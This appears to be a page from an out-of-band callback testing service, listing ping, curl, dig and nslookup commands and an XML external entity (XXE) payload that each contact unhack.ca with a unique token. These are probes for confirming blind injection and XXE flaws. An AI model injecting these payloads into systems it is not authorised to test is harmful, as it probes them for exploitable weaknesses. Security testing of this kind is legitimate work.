$ ping -c1 -p 003d076cdfff92d25e9b75b85eb43300 unhack.ca
 

$ curl http://unhack.ca/p/3d076cdfff92d25e9b75b85eb433
 

$ dig 3d076cdfff92d25e9b75b85eb433 @unhack.ca
 

$ dig 3d076cdfff92d25e9b75b85eb433.ns.unhack.ca
 

C:\> nslookup 3d076cdfff92d25e9b75b85eb433 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3d076cdfff92d25e9b75b85eb433">]>
    <foo>&xxe;</foo>